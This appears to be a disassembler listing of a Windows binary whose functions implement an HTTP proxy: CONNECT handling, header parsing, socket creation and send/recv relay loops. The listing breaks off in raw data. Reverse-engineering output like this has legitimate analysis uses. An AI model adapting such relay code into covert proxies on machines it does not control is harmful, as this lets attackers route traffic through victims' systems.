SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F60 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445248 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F60 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445220 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F60 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445220 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C84 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_445220 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj call near ptr 71AB428Ah nop mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx call near ptr 71AB428Ah nop add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax nop call near ptr 71AB428Ah jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 